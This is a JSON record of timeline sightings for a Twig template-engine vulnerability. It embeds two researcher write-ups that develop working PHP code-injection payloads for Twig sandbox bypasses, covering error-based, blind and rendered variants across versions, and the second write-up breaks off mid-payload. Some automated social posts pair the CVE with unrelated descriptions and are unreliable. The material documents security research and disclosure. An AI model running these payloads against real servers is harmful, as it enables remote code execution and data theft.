{"metadata": {"vulnerability": "CVE-2026-46633", "count": 29, "kinds": {"milestone": 5, "sighting": 15, "kev": 0, "other": 9}, "linked_omitted": 0}, "data": [{"timestamp": "2026-05-15T20:11:54.583Z", "date_only": false, "value": "2026-05-15T20:11:54.583Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2026-46633", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-05-20T10:30:57.942Z", "date_only": false, "value": "2026-05-20T10:30:57.942073Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/symfony.com/post/3mmbp77j3sk2h", "record": "cve-2026-46633", "field": "creation_timestamp", "uuid": "981b28b8-d80e-4b4f-8aa0-3778bdfa3320", "content": "\ud83d\udd10 CVE-2026-46633: PHP code injection via `{% use %}` template name\n\u27a1\ufe0f https://symfony.com/blog/cve-2026-46633-php-code-injection-via-use-template-name", "url": "https://bsky.app/profile/symfony.com/post/3mmbp77j3sk2h"}, {"timestamp": "2026-05-21T21:24:53Z", "date_only": false, "value": "2026-05-21T21:24:53Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-7P85-W9PX-JPJP", "record": "GHSA-7P85-W9PX-JPJP", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-06-06T23:55:29Z", "date_only": false, "value": "2026-06-06T23:55:29.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/vladko312/39507beaa58eacf3b62e6a6e6cd69128", "record": "cve-2026-46633", "field": "creation_timestamp", "uuid": "9523caf7-62a4-4f79-86b3-33bad7309d05", "content": "# CVE-2026-46640 writeup\n\n![Report version](https://img.shields.io/badge/Report_version-1.0-purple)\n![Last modified](https://img.shields.io/badge/Last_modified-06.06.2026-purple)\n![CVE-2026-46640](https://img.shields.io/badge/CVE--2026--46640-8.7-orange)\n[![SSTImap module](https://img.shields.io/badge/SSTImap_module-extras/CVE--2026--46640-blue)](https://github.com/vladko312/extras)\n\nI recently learned about multiple sandbox bypasses discovered in Twig by project Glasswing.\nFrom the descriptions, only [CVE-2026-46640](https://github.com/advisories/GHSA-45vw-wh46-2vx8) and [CVE-2026-46633](https://github.com/advisories/GHSA-7p85-w9px-jpjp) seemed universally exploitable, so I decoded to research them.\nThis writeup documents my development of payloads for the CVE-2026-46640 and the corresponding [SSTImap](https://github.com/vladko312/sstimap) module.\n\n- [Initial observations](#initial-observations)\n- [Compiled template analysis](#compiled-template-analysis)\n- [First payload](#first-payload): base for **Error-Based** and **Time-Based Blind** payloads\n- [Second payload](#second-payload): base for **Rendered** and **Boolean Error-Based Blind** payloads\n- [SSTImap module](#sstimap-module)\n- [Note on CVE-2026-46633](#note-on-cve-2026-46633)\n\n## Initial observations\n\nFrom the descriptions, both CVE-2026-46640 and CVE-2026-46633 seemed deceptively simple.\nI decided to focus on CVE-2026-46640 first, as it did not seem to involve any escaping.\n\nSimply trying to recreate the payload from the description allowed me to confirm the presence of code injection using syntax errors:\n\n```php\n{{_self.(\" test \")}}\n```\n\nI discovered a way to avoid a syntax error, but got no code execution and the same error as for a regular text string:\n\n```php\n{{_self.(\" ;system('sleep 5');// \")}}\n```\n\nIt seems like this error occurs before the injected code is reached.\nI decided to check the generated code to better understand the injection context.\n\n## Compiled template analysis\n\n```php\n\n     */\n    private array $macros = [];\n\n    public function __construct(Environment $env)\n    {\n        parent::__construct($env);\n\n        $this-&gt;source = $this-&gt;getSourceContext();\n\n        $this-&gt;parent = false;\n\n        $this-&gt;blocks = [\n        ];\n    }\n\n    protected function doDisplay(array $context, array $blocks = []): iterable\n    {\n        $macros = $this-&gt;macros;\n        // line 1\n        yield $this-&gt;getTemplateForMacro(\"macro_ ;system('sleep 5');// \", $context, 1, $this-&gt;getSourceContext())-&gt;macro_ ;system('sleep 5');// (...[]);\n        yield from [];\n    }\n\n    /**\n     * @codeCoverageIgnore\n     */\n    public function getTemplateName(): string\n    {\n        return \"tpl\";\n    }\n\n    /**\n     * @codeCoverageIgnore\n     */\n    public function isTraitable(): bool\n    {\n        return false;\n    }\n\n    /**\n     * @codeCoverageIgnore\n     */\n    public function getDebugInfo(): array\n    {\n        return array (  42 =&gt; 1,);\n    }\n\n    public function getSourceContext(): Source\n    {\n        return new Source(\"\", \"tpl\", \"\");\n    }\n}\n```\n\nAs you might notice, the only two places, where the payload is used, are in the same line of code inside `doDisplay` function:\n\n```php\nyield $this-&gt;getTemplateForMacro(\"macro_ ;system('sleep 5');// \", $context, 1, $this-&gt;getSourceContext())-&gt;macro_ ;system('sleep 5');// (...[]);\n```\n\nThe first time, our payload is correctly escaped inside the string, but the second injection point allows arbitrary code.\nThe injected code is not executed, since `getTemplateForMacro` right before it causes a fatal error.\n\n## First payload\n\nSince our code inside `doDisplay` will never be reached, we need to escape the context of that function and inject the code there.\nFully escaping the class definition would be possible, but it would make the payload very long.\n\nAs a result, I decided to try injecting a function inside the generated class.\nThe part after the injection contains `yield`, turning that function into a generator.\nSince a lot of useful overridable functions can't be generators, I added an unused second function.\n\nFor a simple payload I decided to use `__destruct()`, as the object will be destroyed after the error:\n\n```php\n{{_self.(\";}function __destruct(){system('id');}function a(){//\")}}\n```\n\nThis payload worked and printed the command output after the error message.\nSince PHP allows changing error visibility inside dhe code, I made a proper **Error-Based** payload:\n\n```php\n{{_self.(\";}function __destruct(){error_reporting(1);ini_set('display_errors', 1);call_user_func(shell_exec('id'));}function a(){//\")}}\n```\n\nI also used the same payload idea to create **Time-Based Blind** payload:\n\n```php\n{{_self.(\";}function __destruct(){system('id &amp;&amp; sleep 5');}function a(){//\")}}\n```\n\n## Second payload\n\nThe previous approach of bypassing the error does not prevent rendering from breaking.\n**Boolean Error-Based Blind** exploitation would be more stable if the page would be rendered normally.\n\nThe fatal error is caused by `getTemplateForMacro` function defined in the parent `Twig` class.\nThis allows us to override this function inside our injected code:\n\n```php\n{{_self.(\";}function getTemplateForMacro(string $name,array $context,int $line,Twig\\\\Source $source):Twig\\\\Template{system('id');return $this;}function a(){//\")}}\n```\n\nThis already works, printing the command output, but generates a warning.\nThis is bad, as it might break automatic detection or cause some WAF to block the response.\nThe warning can be removed by defining a variable called `$macro_`:\n\n```php\n{{_self.(\";}public $macro_='';function getTemplateForMacro(string $name,array $context,int $line,Twig\\\\Source $source):Twig\\\\Template{system('id');return $this;}function a(){//\")}}\n```\n\nThis payload gives us a form of rendered code execution, but there is still a problem.\nIf we only control a part of the template (e.g. using SSTI), the part after our payload will not be rendered.\n\nWe already captured the rest of the rendering function inside our unused function `a()`.\nTo finish the rendering process we can use `yield from` syntax:\n\n```php\n{{_self.(\";yield from $this-&gt;a();}public $macro_='';function getTemplateForMacro(string $name,array $context,int $line,Twig\\\\Source $source):Twig\\\\Template{system('id');return $this;}function a(){//\")}}\n```\n\nThis payload was used for **Rendered** and **Boolean Error-Based Blind** payloads in my SSTImap module.\n\nWhile writing this writeup, I discovered another problem.\nThis payload overrides the `getTemplateForMacro` function and so will break the rendering of real macros.\n\nTo fix that, we can add a keyword inside the comment and call `parent::getTemplateForMacro` if it is not present:\n\n```php\n{{_self.(\";yield from $this-&gt;a();}public $macro_='';function getTemplateForMacro(string $name,array $context,int $line,Twig\\\\Source $source):Twig\\\\Template{if(!str_contains($name,'sstimap')){return parent::getTemplateForMacro($name,$context,$line,$source);}system('id');return $this;}function a(){//sstimap\")}}\n```\n\nThis payload will only override `getTemplateForMacro` behaviour for macro names containing `sstimap`.\n\n## SSTImap module\n\nAdapting payloads for the SSTImap module was quite easy, since the code injection is not restricted.\nI was able to mostly reuse PHP code injection payloads as the injected code with minimal modifications.\n\nThe only problem I encountered was related to the difference between the two discovered payloads.\nI initially used a full `__destruct()`-based injection payload for file uploads.\nFor integrity verification, payload provided PHP code to be evaluated by technique-specific payloads.\n\nThis caused the problem, as the two different payloads execute injected code at different steps of the rendering.\nIf the file was uploaded to a relative path, upload and verification might be executed in different directories:\n\n- **Rendered** and **Boolean Error-Based Blind** are executed inside the website directory as part of regular rendering (as if the code was in the webpage).\n- **Error-Based** and **Time-Based Blind** payloads are executed in the working directory of the webserver, as they are triggered after a fatal error already broke rendering.\n\n## Note on CVE-2026-46633\n\nSince CVE-2026-46633 affects all prior versions, it would be a much more useful plugin.\nNot only would it provide sandbox escapes for Twig &gt;=3.3.8 &lt;3.15.0, but it would allow code injection and sandbox bypasses for older Twig versions.\nCurrently, there are no known universal payloads for Twig &gt;1.19 &lt;2.10, even for unsandboxed environments.\n\nI researched CVE-2026-46633, but I was unable to reach the execution of the injected code.\nI'm not sure if it is possible, so I will present my findings in case someone will figure it out.\nWorking RCE payloads are always welcome in PRs/issues of the [SSTImap extras](https://github.com/vladko312/extras) repo.\n\nCode injection is possible using `with ... as ...` syntax of the `{% use ... %}` tag and can be verified with a syntax error:\n\n```php\n{% use \"' test\" with a as b %}\n```\n\nThe injected payload is escaped, which breaks a lot of potential execution strategies:\n- I was unable to bypass the escaping of characters like `\"` and `$`.\n- Single quotes are not escaped, which is the source of the vulnerability.\n- Backslash-based escapes are evaluated before escaping (e.g. `\\x24` becomes `\\$`)\n\nAs in CVE-2026-46640, the code is injected inside a function after a fatal error.\n- The injection is inside the `__construct()`, so `__destruct()` is never called.\n- Escaping of `$` prevents us from defining functions with arguments.\n- I was unable to find overridable functions that would be executed.\n- Escaping class definition would require defining `doDisplay` with arguments.\n\nHere is the compiled template code, for the better understanding of the injection context:\n\n```php\n\n     */\n    private array $macros = [];\n\n    public function __construct(Environment $env)\n    {\n        parent::__construct($env);\n\n        $this-&gt;source = $this-&gt;getSourceContext();\n\n        $this-&gt;parent = false;\n\n        // line 1\n        $_trait_0 = $this-&gt;loadTemplate(\"' test\", \"tpl\", 1);\n        if (!$_trait_0-&gt;unwrap()-&gt;isTraitable()) {\n            throw new RuntimeError('Template \"'.\"' test\".'\" cannot be used as a trait.', 1, $this-&gt;source);\n        }\n        $_trait_0_blocks = $_trait_0-&gt;unwrap()-&gt;getBlocks();\n\n        if (!isset($_trait_0_blocks[\"a\"])) {\n            throw new RuntimeError('Block \"a\" is not defined in trait \"' test\".', 1, $this-&gt;source);\n        }\n\n        $_trait_0_blocks[\"b\"] = $_trait_0_blocks[\"a\"]; unset($_trait_0_blocks[\"a\"]); $this-&gt;traitAliases[\"b\"] = \"a\";\n\n        $this-&gt;traits = $_trait_0_blocks;\n\n        $this-&gt;blocks = array_merge(\n            $this-&gt;traits,\n            [\n            ]\n        );\n    }\n\n    protected function doDisplay(array $context, array $blocks = []): iterable\n    {\n        $macros = $this-&gt;macros;\n        yield from [];\n    }\n\n    /**\n     * @codeCoverageIgnore\n     */\n    public function getTemplateName(): string\n    {\n        return \"tpl\";\n    }\n\n    /**\n     * @codeCoverageIgnore\n     */\n    public function getDebugInfo(): array\n    {\n        return array (  35 =&gt; 1,);\n    }\n\n    public function getSourceContext(): Source\n    {\n        return new Source(\"\", \"tpl\", \"\");\n    }\n}\n```\n\nCode is unsafely injected on line 42 (only present when using `with ... as ...` syntax):\n\n```php\nthrow new RuntimeError('Block \"a\" is not defined in trait \"' test\".', 1, $this-&gt;source);\n```\n\nWithout syntax error, the execution is interrupted by fatal error caused by line 35:\n\n```php\n$_trait_0 = $this-&gt;loadTemplate(\"' test\", \"tpl\", 1);\n```\n", "url": "https://gist.github.com/vladko312/39507beaa58eacf3b62e6a6e6cd69128"}, {"timestamp": "2026-06-20T13:22:38.411Z", "date_only": false, "value": "2026-06-20T13:22:38.411262Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mopxarb23c2s", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "67f3565c-53ca-410c-a6c3-baff9fd3affb", "content": "PHP\u5411\u3051\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u300cTwig\u300d\u306bRCE\u8106\u5f31\u6027\n\nPHP\u5411\u3051\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u300cTwig\u300d\u306b\u3001\u4efb\u610f\u306ePHP\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\n\n\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u540d\u306e\u51e6\u7406\u306b\u8106\u5f31\u6027\u300cCVE-2026-46633\u300d\u304c\u5224\u660e\u3057\u305f\u3082\u306e\u3002\u300c\u540c3.26.0\u300d\u3088\u308a\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u304c\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3002\n\n\u540c\u8106\u5f31\u6027\u306f\u3001\u7279\u5b9a\u306e\u30bf\u30b0\u306b\u3088\u308b\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u540d\u306e\u30b3\u30f3\u30d1\u30a4\u30eb\u51e6\u7406\u306b\u8d77\u56e0\u3002\u5358\u4e00\u5f15\u7528\u7b26\u3092\u542b\u3080\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u540d\u306b\u3088\u308a\u3001\u751f\u6210\u3055\u308c\u308bPHP\u306e\u6587\u5b57\u5217\u30ea\u30c6\u30e9\u30eb\u3092\u9014\u4e2d\u3067\u7d42\u4e86\u3055\u305b\u308b\u3053\u3068\u304c\u53ef\u80fd\u3002\n\n\u30b3\u30f3\u30d1\u30a4\u30eb\u6e08\u307f\u30ad\u30e3\u30c3\u30b7\u30e5\u30d5\u30a1\u30a4\u30eb\u3078\u4efb\u610f\u306ePHP\u5f0f\u3092\u6ce8\u5165\u3057\u3001\u30ad\u30e3\u30c3\u30b7\u30e5\u30d5\u30a1\u30a4\u30eb\u306e\u521d\u56de\u8aad\u307f\u8fbc\u307f\u6642\u306bPHP\u30d7\u30ed\u30bb\u30b9\u5185\u3067\u5b9f\u884c...", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mopxarb23c2s"}, {"timestamp": "2026-07-14T21:14:24.916Z", "date_only": false, "value": "2026-07-14T21:14:24.916Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-46633", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-07-14T22:06:05.653Z", "date_only": false, "value": "2026-07-14T22:06:05.653095Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqn7owmizj2d", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "4aeae269-88cd-4aca-8879-4463f6bd4ea3", "content": "CVE-2026-46633 - twig\nA security flaw in Twig allows attackers to inject malicious PHP code into templates. This can lead to unauthorized access to sensitive data and potentially allow attackers to execute\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#twig #composer #CVE #infosec", "url": "https://bsky.app/profile/stackflag.bsky.social/post/3mqn7owmizj2d"}, {"timestamp": "2026-07-14T22:16:00Z", "date_only": false, "value": "2026-07-14T22:16:00Z", "kind": "milestone", "label": "Published", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2026-46633", "record": "UBUNTU-CVE-2026-46633", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-07-14T22:16:55Z", "date_only": false, "value": "2026-07-14T22:16:55Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-7P85-W9PX-JPJP", "record": "GHSA-7P85-W9PX-JPJP", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2026-07-14T22:16:55.997Z", "date_only": false, "value": "2026-07-14T22:16:55.997", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-46633", "record": "FKIE_CVE-2026-46633", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-07-15T00:00:00Z", "date_only": false, "value": "2026-07-15T00:00:00+00:00", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-46633", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2026-07-15T00:00:00Z", "date_only": false, "value": "2026-07-15T00:00:00+00:00", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-46633", "record": "FKIE_CVE-2026-46633", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2026-07-15T02:18:07.661Z", "date_only": false, "value": "2026-07-15T02:18:07.661860Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnnrlrkb72i", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "8de691c5-be88-417e-a4d4-f067b15bb3c9", "content": "CVE-2026-46633 - Twig: PHP code injection via `{% use %}` template name\nCVE ID : CVE-2026-46633\n \n Published : July 14, 2026, 10:16 p.m. | 2\u00a0hours, 17\u00a0minutes ago\n \n Description : Twig is a template language for PHP. Prior to 3.26.0, Compiler::string() does not escape single q...", "url": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnnrlrkb72i"}, {"timestamp": "2026-07-15T09:32:04.951Z", "date_only": false, "value": "2026-07-15T09:32:04.951778Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqofzkwmlc2w", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "91892000-39b5-4c93-9eed-b587998c971f", "content": "CVE-2026-46633 - php-twig\nDebian 12 users are at risk of having sensitive data exposed due to an unpatched OpenSSL issue. This vulnerability allows an attacker to intercept and read sensitive\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#phptwig #debian #Debian11 #CVE #infosec", "url": "https://bsky.app/profile/stackflag.bsky.social/post/3mqofzkwmlc2w"}, {"timestamp": "2026-07-16T03:55:36.587Z", "date_only": false, "value": "2026-07-16T03:55:36.587Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-46633", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-07-16T14:07:07.272Z", "date_only": false, "value": "2026-07-16T14:07:07.272741Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqrfuc6qj72n", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "2addfaf4-0e79-4bfd-8e30-47c92addb12a", "content": "\ud83d\udccc CVE-2026-46633 - Twig is a template language for PHP. Prior to 3.26.0, Compiler::string() does not escape single quotes when a template name from a {% use %} tag is pl... https://www.cyberhub.blog/cves/CVE-2026-46633", "url": "https://bsky.app/profile/cyberhub.blog/post/3mqrfuc6qj72n"}, {"timestamp": "2026-07-17T15:20:04.214Z", "date_only": false, "value": "2026-07-17T15:20:04.214874Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqu2fny33r2y", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "82d4c12d-836c-4372-a775-02e3db4ad610", "content": "CVE-2026-46633 - php-twig\nApache Log4j is a widely used logging library for Java applications. If exploited, this vulnerability could allow an attacker to run arbitrary code on a server,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#phptwig #canonical #UbuntuPro2004LTS #CVE #infosec", "url": "https://bsky.app/profile/stackflag.bsky.social/post/3mqu2fny33r2y"}, {"timestamp": "2026-09-01T20:00:08.178Z", "date_only": false, "value": "2026-09-01T20:00:08.178756Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/186840", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "267cf413-2a27-4782-a7f3-06842fdf1996", "content": "CVE-2026-46640: Developing payloads for Twig sandbox bypass\nhttps://www.reddit.com/r/redteamsec/comments/1tyx0ss/cve202646640_developing_payloads_for_twig_sandbox/\n\nI recently learned about multiple sandbox bypasses discovered in Twig by project Glasswing. From the descriptions, only CVE-2026-46640 and CVE-2026-46633 seemed universally exploitable, so I decoded to research them. This writeup documents my development of payloads for the CVE-2026-46640 and the corresponding SSTImap module.    submitted by    /u/vladko312  (https://www.reddit.com/user/vladko312) \n [link] (https://gist.github.com/vladko312/39507beaa58eacf3b62e6a6e6cd69128)   [comments] (https://www.reddit.com/r/redteamsec/comments/1tyx0ss/cve202646640_developing_payloads_for_twig_sandbox/)", "url": "https://t.me/hacking_Attack/186840"}, {"timestamp": "2026-09-02T01:00:20.497Z", "date_only": false, "value": "2026-09-02T01:00:20.497054Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/186840", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "2a39a0f8-b2a4-4aea-beee-7b5392482452", "content": "CVE-2026-46640: Developing payloads for Twig sandbox bypass\nhttps://www.reddit.com/r/redteamsec/comments/1tyx0ss/cve202646640_developing_payloads_for_twig_sandbox/\n\nI recently learned about multiple sandbox bypasses discovered in Twig by project Glasswing. From the descriptions, only CVE-2026-46640 and CVE-2026-46633 seemed universally exploitable, so I decoded to research them. This writeup documents my development of payloads for the CVE-2026-46640 and the corresponding SSTImap module.    submitted by    /u/vladko312  (https://www.reddit.com/user/vladko312) \n [link] (https://gist.github.com/vladko312/39507beaa58eacf3b62e6a6e6cd69128)   [comments] (https://www.reddit.com/r/redteamsec/comments/1tyx0ss/cve202646640_developing_payloads_for_twig_sandbox/)", "url": "https://t.me/hacking_Attack/186840", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-10-17T21:57:30Z", "date_only": false, "value": "2026-10-17T21:57:30.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "0fa969fd-aecd-436f-9210-7a854a8703fc", "content": "# CVE-2026-46633 writeup\n\n![Report version](https://img.shields.io/badge/Report_version-1.0-purple)\n![Last modified](https://img.shields.io/badge/Last_modified-18.10.2026-purple)\n![CVE-2026-46633](https://img.shields.io/badge/CVE--2026--46633-9.3-red)\n[![SSTImap module](https://img.shields.io/badge/SSTImap_module-extras/CVE--2026--46633-blue)](https://github.com/vladko312/extras/blob/main/CVE-2026-46633.py)\n[![SSTImap legacy module](https://img.shields.io/badge/SSTImap_module-extras/CVE--2026--46633__legacy-blue)](https://github.com/vladko312/extras/blob/main/CVE-2026-46633_legacy.py)\n\nI continued researching sandbox bypasses discovered in Twig by project Glasswing.\nThis time, I focused on [CVE-2026-46633](https://github.com/advisories/GHSA-7p85-w9px-jpjp), which still had no public exploits.\nThis writeup documents my development of payloads for the CVE-2026-46633 and the corresponding [SSTImap](https://github.com/vladko312/sstimap) modules.\n\n- [Initial observations](#initial-observations)\n- [Compiled template analysis](#compiled-template-analysis)\n- [First payload](#first-payload): base for **Error-Based** and **Time-Based Blind** payloads\n- [Second payload](#second-payload): base for **Rendered** and **Boolean Error-Based Blind** payloads\n- [Limitations](#limitations): what current payloads require\n- [SSTImap modules](#sstimap-modules)\n\n## Initial observations\n\nSince CVE-2026-46633 affects all prior versions, it is a much more useful plugin.\nNot only does it provide sandbox escapes for Twig &gt;=3.3.8 &lt;3.15.0, but it also allows code injection and sandbox bypasses for older Twig versions.\nCurrently, there are no other known universal payloads for Twig &gt;1.19 &lt;2.10, even for unsandboxed environments.\n\nInitially, CVE-2026-46633 seemed deceptively simple, but it had some caveats I had to consider.\nFor example, the most obvious payload suggested by AI will not work:\n\n```twig\n{% use \"'.system('id').'\" %}\n```\n\nWe can verify that the code is not injected by using the payload that is supposed to trigger the syntax error:\n\n```twig\n{% use \"' test\" %}\n```\n\nBy reading the source code, I discovered that the injection only happens when using the `with ... as ...` syntax:\n\n```twig\n{% use \"' test\" with a as b %}\n```\n\nStill, the injected code is not executed, as an error is triggered before our code is reached.\nHere are the problems I discovered at the time of writing a writeup about [CVE-2026-46640](https://gist.github.com/vladko312/39507beaa58eacf3b62e6a6e6cd69128):\n\nThe injected payload is escaped, which breaks a lot of potential execution strategies:\n- I was unable to bypass the escaping of characters like `\"` and `$`.\n- Single quotes are not escaped, which is the source of the vulnerability.\n- Backslash-based escapes are evaluated before escaping (e.g. `\\x24` becomes `\\$`)\n\nThe code is injected inside a function after a fatal error.\n- The injection is inside the `__construct()`, so `__destruct()` is never called.\n- Escaping of `$` prevents us from defining functions with arguments.\n- I was unable to find overridable functions that would be executed.\n- Escaping class definition would require defining `doDisplay` with arguments.\n\nChecking the generated code would allow us to better understand the injection context.\n\n## Compiled template analysis\n\n```php\n\n     */\n    private array $macros = [];\n\n    public function __construct(Environment $env)\n    {\n        parent::__construct($env);\n\n        $this-&gt;source = $this-&gt;getSourceContext();\n\n        $this-&gt;parent = false;\n\n        // line 1\n        $_trait_0 = $this-&gt;loadTemplate(\"' test\", \"tpl\", 1);\n        if (!$_trait_0-&gt;unwrap()-&gt;isTraitable()) {\n            throw new RuntimeError('Template \"'.\"' test\".'\" cannot be used as a trait.', 1, $this-&gt;source);\n        }\n        $_trait_0_blocks = $_trait_0-&gt;unwrap()-&gt;getBlocks();\n\n        if (!isset($_trait_0_blocks[\"a\"])) {\n            throw new RuntimeError('Block \"a\" is not defined in trait \"' test\".', 1, $this-&gt;source);\n        }\n\n        $_trait_0_blocks[\"b\"] = $_trait_0_blocks[\"a\"]; unset($_trait_0_blocks[\"a\"]); $this-&gt;traitAliases[\"b\"] = \"a\";\n\n        $this-&gt;traits = $_trait_0_blocks;\n\n        $this-&gt;blocks = array_merge(\n            $this-&gt;traits,\n            [\n            ]\n        );\n    }\n\n    protected function doDisplay(array $context, array $blocks = []): iterable\n    {\n        $macros = $this-&gt;macros;\n        yield from [];\n    }\n\n    /**\n     * @codeCoverageIgnore\n     */\n    public function getTemplateName(): string\n    {\n        return \"tpl\";\n    }\n\n    /**\n     * @codeCoverageIgnore\n     */\n    public function getDebugInfo(): array\n    {\n        return array (  35 =&gt; 1,);\n    }\n\n    public function getSourceContext(): Source\n    {\n        return new Source(\"\", \"tpl\", \"\");\n    }\n}\n```\n\nCode is unsafely injected on line 42 (only present when using `with ... as ...` syntax):\n\n```php\nthrow new RuntimeError('Block \"a\" is not defined in trait \"' test\".', 1, $this-&gt;source);\n```\n\nWithout syntax error, the execution is interrupted by fatal error caused by line 35:\n\n```php\n$_trait_0 = $this-&gt;loadTemplate(\"' test\", \"tpl\", 1);\n```\n\n## First payload\n\nSince our code in `__construct` will never be reached, we need to escape the context of that function.\nThere are no useful functions we can override to get execution, so we would need to escape the class and insert our payload there.\n\nEscaping class definition in the most obvious way would cause an error, as we would need to define some methods declared in `Twig` class as abstract.\nOne of those methods, `doDisplay`, requires arguments, but our code is escaped, so we can't just use `$`.\n\nI decided to use an approach similar to the one I used in the second payload for [CVE-2026-46640](https://gist.github.com/vladko312/39507beaa58eacf3b62e6a6e6cd69128).\nI searched for a way to catch all the functions defined after the injected code and use them in the class definition.\nIn PHP, this could be achieved using **_traits_**, which allow us to achieve RCE:\n\n```twig\n{% use \"');}}use A;}system('id');trait A{function a(){if(0){//\" with a as b %}\n```\n\nThis payload worked and printed the command output before the template was rendered and triggered an error.\nSimilarly to CVE-2026-46640, I made a proper **Error-Based** payload:\n\n```twig\n{% use \"');}}use A;}error_reporting(1);ini_set('display_errors', 1);shell_exec('id')();trait A{function a(){if(0){//\" with a as b %}\n```\n\n\nJust like in CVE-2026-46640, I also used the same payload idea to create **Time-Based Blind** payload:\n\n```twig\n{% use \"');}}use A;}system('id &amp;&amp; sleep 5');trait A{function a(){if(0){//\" with a as b %}\n```\n\nThese payloads work for **Twig** versions &gt;=2.5.0 &lt;3.26.0 in sandboxed and unsandboxed environments.\nIn **Twig** versions &lt;1.15.1, vulnerability does not apply, as the error messages for `with ... as ...` syntax are not present.\nFor **Twig** versions &gt;=1.15.1 &lt;2.5.0 the payloads need an additional `)` to escape the context:\n\n```twig\n# RCE:\n{% use \"'));}}use A;}system('id');trait A{function a(){if(0){//\" with c as b %}\n# Error-Based:\n{% use \"'));}}use A;}error_reporting(1);ini_set('display_errors', 1);shell_exec('id')();trait A{function a(){if(0){//\" with a as b %}\n# Time-Based Blind:\n{% use \"'));}}use A;}system('id &amp;&amp; sleep 5');trait A{function a(){if(0){//\" with a as b %}\n```\n\n## Second payload\n\nThe previous approach still causes an error during the rendering process, which is not ideal for some techniques.\nAvoiding the error would allow us to create stable **Rendered** and **Boolean Error-Based Blind** payloads.\n\nI decided to look for some gadgets that could be used to avoid the error.\nSince some of the functions are defined in a trait, I decided to check what happens when the same function names are used in the class and in the trait.\nTurns out, class functions have a priority, so we can redefine some of the functions declared in the trait.\n\nTo avoid the error, we would need a way to execute code in the context of the class during the `__construct()` call before the error is triggered.\nFor Twig versions &gt;= 2.4.5 it is possible using `getSourceContext()` function:\n\n```twig\n{% use \"');}}use A;function getSourceContext():Source{system('id');}}trait A{function a(){if(0){//\" with a as b %}\n```\n\nWe are limited by escaping, so there is no way to run arbitrary code with special characters.\nTo bypass that, we can use Base64 encoding.\nHere is the example that executes `print_r($this);`:\n\n```twig\n{% use \"');}}use A;function getSourceContext():Source{eval(base64_decode('cHJpbnRfcigkdGhpcyk7'));}}trait A{function a(){if(0){//\" with a as b %}\n```\n\nTo provide the correct return value for `getSourceContext`, we can use `return new Twig\\Source(\"\",$this-&gt;getTemplateName(),\"\");`:\n\n```twig\n{% use \"');}}use A;function getSourceContext():Source{return 